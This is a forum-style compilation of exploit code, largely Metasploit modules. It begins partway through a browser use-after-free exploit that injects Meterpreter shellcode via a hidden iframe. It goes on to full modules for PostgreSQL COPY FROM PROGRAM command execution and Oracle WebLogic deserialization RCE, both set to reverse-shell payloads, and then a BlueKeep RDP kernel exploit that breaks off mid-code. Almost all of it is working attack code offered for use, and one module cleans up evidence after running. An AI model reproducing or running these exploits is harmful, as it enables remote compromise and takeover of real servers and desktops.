const marker1 = 0x36313233;
const marker2 = 0x37414546;

const outers = 256;
const inners = 1024;

function allocate_spray_holders() {
    spray = new Array(outers);
    for (let i = 0; i < outers; i++) {
        spray[i] = new Array(inners);
    }
}

function clear_spray() {
    for (let i = 0; i < outers; i++) {
        for (let j = 0; j < inners; j++) {
            spray[i][j] = null;
        }
    }
}

function reclaim_mixed() {
    // spray the heap to reclaim the freed region
    let tmp = {};
    for (let i = 0; i < outers; i++) {
        for (let j = 0; j + 2 < inners; j+=3) {
            spray[i][j] = {a: marker1, b: marker2, c: tmp};
            spray[i][j].c = spray[i][j]     // self-reference to find our absolute address
            spray[i][j+1] = new Array(8);
            spray[i][j+2] = new Uint32Array(32);
        }
    }
}

function find_pattern() {
    const start_offset = 0x00afc000 / 4;
    for (let i = start_offset; i + 1 < string_size / 4; i++) {
        if (i < 50){
            console.log(tarray[i].toString(16));
        }
        // multiply by two because of the way SMIs are stored
        if (tarray[i] == marker1 * 2) {
            if (tarray[i+1] == marker2 * 2) {
                console.log(`found possible candidate objectat idx ${i}`);
                return i;
            }
        }
    }
    return null;
}


function get_obj_idx(prop_idx) {
    // find the index of the Object in the spray array
    tarray[prop_idx] = 0x62626262;
    for (let i = 0; i < outers; i++) {
        for (let j = 0; j < inners; j+=1) {
            try {
                if (spray[i][j].a == 0x31313131) {
                    console.log(`found object idx in the spray array: ${i} ${j}`);
                    return spray[i][j];
                }
            } catch (e) {}
        }
    }
}

function ta_read(addr) {
    // reads an absolute address through the original freed region
    // only works for ta_absolute_addr + string_size (128MiB)
    if (addr > ta_absolute_addr && addr < ta_absolute_addr + string_size) {
        return tarray[(addr-ta_absolute_addr)/4];
    }

    return 0;
}

function ta_write(addr, value) {
    // wrtie to an absolute address through the original freed region
    // only works for ta_absolute_addr + string_size (128MiB)
    if (addr % 4 || value > 2**32 - 1 ||
        addr < ta_absolute_addr ||
        addr > ta_absolute_addr + string_size) {
        console.log(`invalid args passed to ta_write(${addr.toString(16)}, ${value}`);
    }
    tarray[(addr-ta_absolute_addr)/4] = value;
}

function get_corruptable_ui32a() {
    // finds a sprayed Uint32Array, the elements pointer of which also falls into the controlled region
    for (let i = 0; i < outers; i++) {
        for (let j = 0; j + 2 < inners; j+=3) {
            let ui32a_addr = addrof(spray[i][j+2]) - 1;
            let bs_addr = ta_read(ui32a_addr + 12) - 1;
            let elements_addr = ta_read(ui32a_addr + 8) - 1;
            // read its elements pointer
            // if the elements ptr lies inside the region we have access to
            if (bs_addr >= ta_absolute_addr && bs_addr < ta_absolute_addr + string_size &&
                elements_addr >= ta_absolute_addr && elements_addr < ta_absolute_addr + string_size) {
                console.log(`found corruptable Uint32Array->elements at ${bs_addr.toString(16)}, on Uint32Array idx ${i} ${j}`);
                return {
                    bs_addr: bs_addr,
                    elements_addr: elements_addr,
                    ui32: spray[i][j+2],
                    i: i, j: j
                }
            }
        }
    }
}

var reader_obj = null;
var object_prop_taidx = null;
var ta_absolute_addr = null;
var aarw_ui32 = null;

function addrof(leaked_obj) {
    reader_obj.a = leaked_obj;
    return tarray[object_prop_taidx];
}


function read4(addr) {
    // save the old values
    let tmp1 = ta_read(aarw_ui32.elements_addr + 12);
    let tmp2 = ta_read(aarw_ui32.bs_addr + 16);

    // rewrite the backing store ptr
    ta_write(aarw_ui32.elements_addr + 12, addr);
    ta_write(aarw_ui32.bs_addr + 16, addr);

    let val = aarw_ui32.ui32[0];

    ta_write(aarw_ui32.elements_addr + 12, tmp1);
    ta_write(aarw_ui32.bs_addr + 16, tmp2);

    return val;
}

function write4(addr, val) {
    // save the old values
    let tmp1 = ta_read(aarw_ui32.elements_addr + 12);
    let tmp2 = ta_read(aarw_ui32.bs_addr + 16);

    // rewrite the backing store ptr
    ta_write(aarw_ui32.elements_addr + 12, addr);
    ta_write(aarw_ui32.bs_addr + 16, addr);

    aarw_ui32.ui32[0] = val;

    ta_write(aarw_ui32.elements_addr + 12, tmp1);
    ta_write(aarw_ui32.bs_addr + 16, tmp2);
}

function get_rw() {
    // free up as much memory as possible
    // spray = null;
    // contents = null;
    force_gc();

    // attepmt reclaiming the memory pointed to by dangling pointer
    reclaim_mixed();

    // access the reclaimed region as a Uint32Array
    tarray = new Uint32Array(lastlast);
    object_prop_taidx = find_pattern();
    if (object_prop_taidx === null) {
        console.log('ERROR> failed to find marker');
        window.top.postMessage(`ERROR> failed to find marker`, '*');
        return;
    }

    // leak the absolute address of the Object
    const obj_absolute_addr = tarray[object_prop_taidx + 2] - 1;  // the third property of the sprayed Object is self-referential
    ta_absolute_addr = obj_absolute_addr - (object_prop_taidx-3)*4
    console.log(`leaked absolute address of our object ${obj_absolute_addr.toString(16)}`);
    console.log(`leaked absolute address of ta ${ta_absolute_addr.toString(16)}`);

    reader_obj = get_obj_idx(object_prop_taidx);
    if (reader_obj == undefined) {
        console.log(`ERROR> failed to find object`);
        window.top.postMessage(`ERROR> failed to find object`, '*');
        return;
    }
    // now reader_obj is a reference to the Object, object_prop_taidx is the index of its first inline property from the beginning of tarray

    console.log(`addrof(reader_obj) == ${addrof(reader_obj)}`);
    aarw_ui32 = get_corruptable_ui32a();
    // arbitrary read write up after this point
}

var wfunc = null;
let meterpreter = unescape("#{Rex::Text.to_unescape(payload.encoded)}");

function rce() {
    function get_wasm_func() {
        var importObject = {
            imports: { imported_func: arg => console.log(arg) }
        };
        bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
        wasm_code = new Uint8Array(bc);
        wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
        return wasm_mod.exports.exported_func;
    }

    let wasm_func = get_wasm_func();
    wfunc = wasm_func;
    // traverse the JSFunction object chain to find the RWX WebAssembly code page
    let wasm_func_addr = addrof(wasm_func) - 1;
    let sfi = read4(wasm_func_addr + 12) - 1;
    let WasmExportedFunctionData = read4(sfi + 4) - 1;
    let instance = read4(WasmExportedFunctionData + 8) - 1;
    let rwx_addr = read4(instance + 0x74);

    // write the shellcode to the RWX page
    if (meterpreter.length % 2 != 0)
        meterpreter += "\\u9090";

    for (let i = 0; i < meterpreter.length; i += 2) {
        write4(rwx_addr + i*2, meterpreter.charCodeAt(i) + meterpreter.charCodeAt(i + 1) * 0x10000);
    }

    // if we got to this point, the exploit was successful
    window.top.postMessage('SUCCESS', '*');
    console.log('success');
    wfunc();

    // invoke the shellcode
    //window.setTimeout(wfunc, 1000);
}

function force_gc() {
    // forces a garbage collection to avoid OOM kills
    try {
        var failure = new WebAssembly.Memory({initial: 32767});
    } catch(e) {
        // console.log(e.message);
    }
}

function init() {
    abs = [];
    tarray = 0;
    onprogress_cnt = 0;
    try_cnt = 0;
    last = 0, lastlast = 0;
    reader = new FileReader();

    reader.onloadend = function(evt) {
        try_cnt += 1;
        failure = false;
        if (onprogress_cnt < 2) {
            console.log(`less than 2 onprogress events triggered: ${onprogress_cnt}, try again`);
            failure = true;
        }

        if (lastlast.byteLength != f.size) {
            console.log(`lastlast has a different size than expected: ${lastlast.byteLength}`);
            failure = true;
        }

        if (failure === true) {
            console.log('retrying in 1 second');
            window.setTimeout(exploit, 1);
            return;
        }

        console.log(`onloadend attempt ${try_cnt} after ${onprogress_cnt} onprogress callbacks`);
        try {
            // trigger the FREE
            myWorker.postMessage([last], [last, lastlast]);
        } catch(e) {
            // an exception with this message indicates that the FREE part of the exploit was successful
            if (e.message.includes('ArrayBuffer at index 1 could not be transferred')) {
                get_rw();
                rce();
                return;
            } else {
                console.log(e.message);
            }
        }
    }
    reader.onprogress = function(evt) {
        force_gc();
        let res = evt.target.result;
        // console.log(`onprogress ${onprogress_cnt}`);
        onprogress_cnt += 1;
        if (res.byteLength != f.size) {
            // console.log(`result has a different size than expected: ${res.byteLength}`);
            return;
        }
        lastlast = last;
        last = res;
    }
    if (spray === null) {
        // allocate the spray holders if needed
        allocate_spray_holders();
    }

    // clear the spray holder arrays
    clear_spray();

    // get rid of the reserved ArrayBuffer range, as it may interfere with the exploit
    try {
        let failure = new ArrayBuffer(1024 * 1024 * 1024);
    } catch (e) {
        console.log(e.message);
    }

    force_gc();
}

function exploit() {
    init();
    reader.readAsArrayBuffer(f);
    console.log(`attempt ${try_cnt} started`);
}
        </script>
    </head>
    <body onload="exploit()">
    </body>
</html>
    ^
      send_response(cli, html)
    elsif request.uri =~ %r{/worker.js$}
      send_response(cli, 'onmessage = function (msg) { }')
    else
      uripath = datastore['URIPATH'] || get_resource
      uripath += '/' unless uripath.end_with? '/'
      html = %Q^
<html>
    <head>
        <script>
            function iter() {
                let iframe = null;
                try {
                    iframe = document.getElementById('myframe');
                    document.body.removeChild(iframe);
                } catch (e) {}

                iframe = document.createElement('iframe');
                iframe.src = '#{uripath}exploit.html';
                iframe.id = 'myframe';
                iframe.style = "width:0; height:0; border:0; border:none; visibility=hidden"
                document.body.appendChild(iframe);
                console.log(document.getElementById('myframe'));
            }

            function brute() {
                window.setTimeout(iter, 1000);
                let interval = window.setInterval(iter, 15000);

                window.onmessage = function(e) {
                    if (e.data.includes('SUCCESS')) {
                        console.log('exploit successful!');
                        window.clearInterval(interval);
                    }
                    console.log(e);
                }
            }
        </script>
    </head>
    <body onload="brute()"></body>
</html>
    ^
      send_response(cli, html)
    end
  end

end


PostgreSQL COPY FROM PROGRAM Command Execution
Ruby:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/postgres'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Postgres
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'PostgreSQL COPY FROM PROGRAM Command Execution',
      'Description' => %q(
        Installations running Postgres 9.3 and above have functionality which allows for the superuser
        and users with 'pg_execute_server_program' to pipe to and from an external program using COPY.
        This allows arbitrary command execution as though you have console access.

        This module attempts to create a new table, then execute system commands in the context of
        copying the command output into the table.

        This module should work on all Postgres systems running version 9.3 and above.

        For Linux & OSX systems, target 1 is used with cmd payloads such as: cmd/unix/reverse_perl

        For Windows Systems, target 2 is used with powershell payloads such as: cmd/windows/powershell_reverse_tcp
        Alternativly target 3 can be used to execute generic commands, such as a web_delivery meterpreter powershell payload
        or other customised command.
      ),
      'Author' => [
        'Jacob Wilkin' # Exploit Author of Module
      ],
      'License' => MSF_LICENSE,
      'References' => [
        ['CVE', '2019-9193'],
        ['URL', 'https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5'],
        ['URL', 'https://www.postgresql.org/docs/9.3/release-9-3.html'] #Patch notes adding the function, see 'E.26.3.3. Queries - Add support for piping COPY and psql \copy data to/from an external program (Etsuro Fujita)'
      ],
      'PayloadType' => 'cmd',
      'Platform' => %w(linux unix win osx),
      'Payload' => {
      },
      'Arch' => [ARCH_CMD],
      'Targets'        =>
        [
          [
            'Unix/OSX/Linux', {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'Payload' => 'cmd/unix/reverse_perl' }
              }
          ],[
            'Windows - PowerShell (In-Memory)', {
              'Platform' => 'windows',
              'Arch' => ARCH_CMD,
              'DefaultOptions' => {
                'Payload' => 'cmd/windows/powershell_reverse_tcp' }
              }
          ],[
            'Windows (CMD)',
            'Platform'   => 'win',
            'Arch'       => [ARCH_CMD],
            'Payload' => {
              'Compat'     => {
                'PayloadType' => 'cmd',
                'RequiredCmd' => 'adduser, generic'
              }
            }
          ],
        ],
      'DisclosureDate' => 'Mar 20 2019'
    ))

    register_options([
      Opt::RPORT(5432),
      OptString.new('TABLENAME', [ true, 'A table name that does not exist (To avoid deletion)', Rex::Text.rand_text_alphanumeric(8..12)]),
      OptBool.new('DUMP_TABLE_OUTPUT', [false, 'select payload command output from table (For Debugging)', false])
      ])

    deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
  end

  # Return the datastore value of the same name
  # @return [String] tablename for table to use with command execution
  def tablename
    datastore['TABLENAME']
  end

  def check
    vuln_version? ? CheckCode::Appears : CheckCode::Safe
  end

  def vuln_version?
    version = postgres_fingerprint
    return false unless version[:auth]
    vprint_status version[:auth].to_s
    version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/).flatten.first
    if Gem::Version.new(version_full) >= Gem::Version.new('9.3')
      return true
    else
      return false
    end
  end

  def login_success?
    status = do_login(username, password, database)
    case status
    when :noauth
      print_error "#{peer} - Authentication failed"
      return false
    when :noconn
      print_error "#{peer} - Connection failed"
      return false
    else
      print_status "#{peer} - #{status}"
      return true
    end
  end

  def execute_payload
    # Drop table if it exists
    query = "DROP TABLE IF EXISTS #{tablename};"
    drop_query = postgres_query(query)
    case drop_query.keys[0]
    when :conn_error
      print_error "#{peer} - Connection error"
      return false
    when :sql_error
      print_warning "#{peer} - Unable to execute query: #{query}"
      return false
    when :complete
      print_good "#{peer} - #{tablename} dropped successfully"
    else
      print_error "#{peer} - Unknown"
      return false
    end

    # Create Table
    query = "CREATE TABLE #{tablename}(filename text);"
    create_query = postgres_query(query)
    case create_query.keys[0]
    when :conn_error
      print_error "#{peer} - Connection error"
      return false
    when :sql_error
      print_warning "#{peer} - Unable to execute query: #{query}"
      return false
    when :complete
      print_good "#{peer} - #{tablename} created successfully"
    else
      print_error "#{peer} - Unknown"
      return false
    end

    # Copy Command into Table
    cmd_filtered = payload.encoded.gsub("'", "''")
    query = "COPY #{tablename} FROM PROGRAM '#{cmd_filtered}';"
    copy_query = postgres_query(query)
    case copy_query.keys[0]
    when :conn_error
      print_error "#{peer} - Connection error"
      return false
    when :sql_error
      print_warning "#{peer} - Unable to execute query: #{query}"
      if copy_query[:sql_error] =~ /must be superuser to COPY to or from an external program/
        print_error 'Insufficient permissions, User must be superuser or in pg_read_server_files group'
        return false
      end
      print_warning "#{peer} - Unable to execute query: #{query}"
      return false
    when :complete
      print_good "#{peer} - #{tablename} copied successfully(valid syntax/command)"
    else
      print_error "#{peer} - Unknown"
      return false
    end

    if datastore['DUMP_TABLE_OUTPUT']
    # Select output from table for debugging
      query = "SELECT * FROM #{tablename};"
      select_query = postgres_query(query)
      case select_query.keys[0]
      when :conn_error
        print_error "#{peer} - Connection error"
        return false
      when :sql_error
        print_warning "#{peer} - Unable to execute query: #{query}"
        return false
      when :complete
        print_good "#{peer} - #{tablename} contents:\n#{select_query}"
        return true
      else
        print_error "#{peer} - Unknown"
        return false
      end
    end
    # Clean up table evidence
    query = "DROP TABLE IF EXISTS #{tablename};"
    drop_query = postgres_query(query)
    case drop_query.keys[0]
    when :conn_error
      print_error "#{peer} - Connection error"
      return false
    when :sql_error
      print_warning "#{peer} - Unable to execute query: #{query}"
      return false
    when :complete
      print_good "#{peer} - #{tablename} dropped successfully(Cleaned)"
    else
      print_error "#{peer} - Unknown"
      return false
    end
  end

  def do_login(user, pass, database)
    begin
      password = pass || postgres_password
      result = postgres_fingerprint(
        db: database,
        username: user,
        password: password
      )

      return result[:auth] if result[:auth]
      print_error "#{peer} - Login failed"
      return :noauth

    rescue Rex::ConnectionError
      return :noconn
    end
  end

  def exploit
    #vuln_version doesn't seem to work
    #return unless vuln_version?
    return unless login_success?
    print_status("Exploiting...")
    if execute_payload
      print_status("Exploit Succeeded")
    else
      print_error("Exploit Failed")
    end
    postgres_logout if @postgres_conn
  end
end


Oracle Weblogic Server Deserialization RCE - AsyncResponseService
Ruby:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info={})
    super(update_info(info,
      'Name' => 'Oracle Weblogic Server Deserialization RCE - AsyncResponseService ',
      'Description' => %q{
        An unauthenticated attacker with network access to the Oracle Weblogic Server T3
        interface can send a malicious SOAP request to the interface WLS AsyncResponseService
        to execute code on the vulnerable host.
      },
      'Author' =>
        [
        'Andres Rodriguez - 2Secure (@acamro) <acamro[at]gmail.com>',  # Metasploit Module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2019-2725'],
          ['CNVD-C', '2019-48814'],
          ['URL', 'http://www.cnvd.org.cn/webinfo/show/4999'],
          ['URL', 'https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html']
        ],
      'Privileged' => false,
      'Platform' => %w{ unix win solaris },
      'Targets' =>
        [
          [ 'Unix',
            'Platform' => 'unix',
            'Arch' => ARCH_CMD,
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_bash'}
          ],
          [ 'Windows',
            'Platform' => 'win',
            'Arch' => [ARCH_X64, ARCH_X86],
            'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}
          ],
          [ 'Solaris',
            'Platform' => 'solaris',
            'Arch' => ARCH_CMD,
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'},
            'Payload' => {
              'Space'       => 2048,
              'DisableNops' => true,
              'Compat'      =>
                {
                  'PayloadType' => 'cmd',
                  'RequiredCmd' => 'generic perl telnet',
                }
            }
          ]
        ],
      'DefaultTarget' => 0,
      'DefaultOptions' =>
        {
          'WfsDelay' => 12
        },
      'DisclosureDate' => 'Apr 23 2019'))

    register_options(
      [
        Opt::RPORT(7001),
        OptString.new('URIPATH', [false, 'URL to the weblogic instance (leave blank to substitute RHOSTS)', nil]),
        OptString.new('WSPATH', [true, 'URL to AsyncResponseService', '/_async/AsyncResponseService'])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'uri'      => normalize_uri(datastore['WSPATH']),
      'method'   => 'POST',
      'ctype'    => 'text/xml',
      'headers'  => {'SOAPAction' => '' }
    )

    if res && res.code == 500 && res.body.include?("<faultcode>env:Client</faultcode>")
      vprint_status("The target returned a vulnerable HTTP code: /#{res.code}")
      vprint_status("The target returned a vulnerable HTTP error: /#{res.body.split("\n")[0]}")
      Exploit::CheckCode::Vulnerable
    elsif res && res.code != 202
      vprint_status("The target returned a non-vulnerable HTTP code")
      Exploit::CheckCode::Safe
    elsif res.nil?
      vprint_status("The target did not respond in an expected way")
      Exploit::CheckCode::Unknown
    else
      vprint_status("The target returned HTTP code: #{res.code}")
      vprint_status("The target returned HTTP body: #{res.body.split("\n")[0]} [...]")
      Exploit::CheckCode::Unknown
    end
  end

  def exploit
    print_status("Generating payload...")
    case target.name
    when 'Windows'
      string0_cmd = 'cmd.exe'
      string1_param = '/c'
      shell_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encoded: false })
    when 'Unix','Solaris'
      string0_cmd = '/bin/bash'
      string1_param = '-c'
      shell_payload = payload.encoded
    end

    random_action = rand_text_alphanumeric(20)
    random_relates = rand_text_alphanumeric(20)

    soap_payload =  %Q|<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"|
    soap_payload <<   %Q|xmlns:wsa="http://www.w3.org/2005/08/addressing"|
    soap_payload <<   %Q|xmlns:asy="http://www.bea.com/async/AsyncResponseService">|
    soap_payload <<   %Q|<soapenv:Header>|
    soap_payload <<     %Q|<wsa:Action>#{random_action}</wsa:Action>|
    soap_payload <<     %Q|<wsa:RelatesTo>#{random_relates}</wsa:RelatesTo>|
    soap_payload <<     %Q|<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">|
    soap_payload <<       %Q|<void class="java.lang.ProcessBuilder">|
    soap_payload <<         %Q|<array class="java.lang.String" length="3">|
    soap_payload <<           %Q|<void index="0">|
    soap_payload <<             %Q|<string>#{string0_cmd}</string>|
    soap_payload <<           %Q|</void>|
    soap_payload <<           %Q|<void index="1">|
    soap_payload <<             %Q|<string>#{string1_param}</string>|
    soap_payload <<           %Q|</void>|
    soap_payload <<           %Q|<void index="2">|
    soap_payload <<             %Q|<string>#{shell_payload.encode(xml: :text)}</string>|
   #soap_payload <<             %Q|<string>#{xml_encode(shell_payload)}</string>|
    soap_payload <<           %Q|</void>|
    soap_payload <<         %Q|</array>|
    soap_payload <<       %Q|<void method="start"/>|
    soap_payload <<       %Q|</void>|
    soap_payload <<     %Q|</work:WorkContext>|
    soap_payload <<   %Q|</soapenv:Header>|
    soap_payload <<   %Q|<soapenv:Body>|
    soap_payload <<     %Q|<asy:onAsyncDelivery/>|
    soap_payload <<   %Q|</soapenv:Body>|
    soap_payload << %Q|</soapenv:Envelope>|

    uri = normalize_uri(datastore['WSPATH'])
    if uri.nil?
      datastore['URIPATH'] = "http://#{RHOST}:#{RPORT}/"
    end

    print_status("Sending payload...")

    begin
      res = send_request_cgi(
        'uri'      => uri,
        'method'   => 'POST',
        'ctype'    => 'text/xml',
        'data'     => soap_payload,
        'headers'  => {'SOAPAction' => '' }
      )
    rescue Errno::ENOTCONN
      fail_with(Failure::Disconnected, "The target forcibly closed the connection, and is likely not vulnerable.")
    end

    if res.nil?
      fail_with(Failure::Unreachable, "No response from host")
    elsif res && res.code != 202
      fail_with(Failure::UnexpectedReply,"Exploit failed.  Host did not responded with HTTP code #{res.code} instead of HTTP code 202")
    end
  end
end
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Ruby:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

#  Exploitation and Caveats from zerosum0x0:
#
#    1. Register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally.
#    2. Perform a full RDP handshake, I like to wait for RDPDR handshake too (code in the .py)
#    3. Free MS_T120 with the DisconnectProviderIndication message to MS_T120.
#    4. RDP has chunked messages, so we use this to groom.
#       a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120.
#       b. However, on 7+, MS_T120 will not work and you have to use RDPSND.
#           i. RDPSND only works when
#              HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0
#           ii. This registry key is not a default setting for server 2008 R2. SHITTY ISSUE
#    5. Use chunked grooming to fit new data in the freed channel, account for
#       the allocation header size (like 0x38 I think?). At offset 0x100? is where
#       the "call [rax]" gadget will get its pointer from.
#       a. The NonPagedPool (NPP) starts at a fixed address on XP-7
#           i. Hot-swap memory is another SHITTY ISSUE. With certain VMWare and
#           Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP
#           start. This can be anywhere from 100 mb to gigabytes of offset
#           before the NPP start.
#       b. Set offset 0x100 to NPPStart+SizeOfGroomInMB
#       c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need
#          [NPPStart+SizeOfGroomInMB+8...payload]... because "call [rax]" is an
#          indirect call
#       d. We are limited to 0x400 payloads by channel chunk max size. My
#          current shellcode is a twin shellcode with eggfinders. I spam the
#          kernel payload and user payload, and if user payload is called first it
#          will egghunt for the kernel payload.
#    6. After channel hole is filled and the NPP is spammed up with shellcode,
#       trigger the free by closing the socket.
#
#    TODO:
#    * Detect OS specifics / obtain memory leak to determine NPP start address.
#    * Write the XP/2003 portions grooming MS_T120.
#    * Detect if RDPSND grooming is working or not?
#    * Expand channels besides RDPSND/MS_T120 for grooming.
#        See https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/
#
#    https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming
#    MS_T120 on XP... should be same process as the RDPSND

class MetasploitModule < Msf::Exploit::Remote

  Rank = ManualRanking

  USERMODE_EGG = 0xb00dac0fefe31337
  KERNELMODE_EGG = 0xb00dac0fefe42069

  CHUNK_SIZE = 0x400
  HEADER_SIZE = 0x48

  include Msf::Exploit::Remote::RDP
  include Msf::Exploit::Remote::CheckScanner

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free',
      'Description'    => %q(
        The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,
        allowing a malformed Disconnect Provider Indication message to cause use-after-free.
        With a controllable data/size remote nonpaged pool spray, an indirect call gadget of
        the freed channel is used to achieve arbitrary code execution.
      ),
      'Author' =>
      [
        'Sean Dillon <sean.dillon@risksense.com>',  # @zerosum0x0 - Original exploit
        'Ryan Hanson <dunno@findthisout.com>',      # @ryHanson - Original exploit
        'OJ Reeves <oj@beyondbinary.io>',           # @TheColonial - Metasploit module
        'Brent Cook <bcook@rapid7.com>',            # @busterbcook - Assembly whisperer
      ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2019-0708'],
          ['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'WfsDelay' => 5,
          'RDP_CLIENT_NAME' => 'ethdev',
          'CheckScanner' => 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep'
        },
      'Privileged' => true,
      'Payload' =>
        {
          'Space' => CHUNK_SIZE - HEADER_SIZE,
          'EncoderType' => Msf::Encoder::Type::Raw,
        },
      'Platform' => 'win',
      'Targets' =>
        [
          [
            'Automatic targeting via fingerprinting',
            {
              'Arch' => [ARCH_X64],
              'FingerprintOnly' => true
            },
          ],
          #
          #
          # Windows 2008 R2 requires the following registry change from default:
          #
          # [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd]
          # "fDisableCam"=dword:00000000
          #
          [
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8003800000
            }
          ],
          [
            # This works with Virtualbox 6
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8002407000
            }
          ],
          [
            # This address works on VMWare 15 on Windows.
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8018C00000
              #'GROOMBASE' => 0xfffffa801C000000
            }
          ],
          [
            'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X64],
              'GROOMBASE' => 0xfffffa8102407000
            }
          ],
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'May 14 2019',
      'Notes' =>
        {
          'AKA' => ['Bluekeep']
        }
    ))

    register_advanced_options(
      [
        OptBool.new('ForceExploit', [false, 'Override check result', false]),
        OptInt.new('GROOMSIZE', [true, 'Size of the groom in MB', 250]),
        OptEnum.new('GROOMCHANNEL', [true, 'Channel to use for grooming', 'RDPSND', ['RDPSND', 'MS_T120']]),
        OptInt.new('GROOMCHANNELCOUNT', [true, 'Number of channels to groom', 1]),
      ]
    )
  end

  def exploit
    unless check == CheckCode::Vulnerable || datastore['ForceExploit']
      fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
    end

    if target['FingerprintOnly']
      fail_with(Msf::Module::Failure::BadConfig, 'Set the most appropriate target manually')
    end

    begin
      rdp_connect
    rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
      fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')
    end

    is_rdp, server_selected_proto = rdp_check_protocol
    unless is_rdp
      fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service')
    end

    # We don't currently support NLA in the mixin or the exploit. However, if we have valid creds, NLA shouldn't stop us
    # from exploiting the target.
    if [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(server_selected_proto)
      fail_with(Msf::Module::Failure::BadConfig, 'Server requires NLA (CredSSP) security which mitigates this vulnerability.')
    end

    chans = [
      ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP],
      [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
      [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP],
      ['MS_XXX0', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
      ['MS_XXX1', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
      ['MS_XXX2', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL],
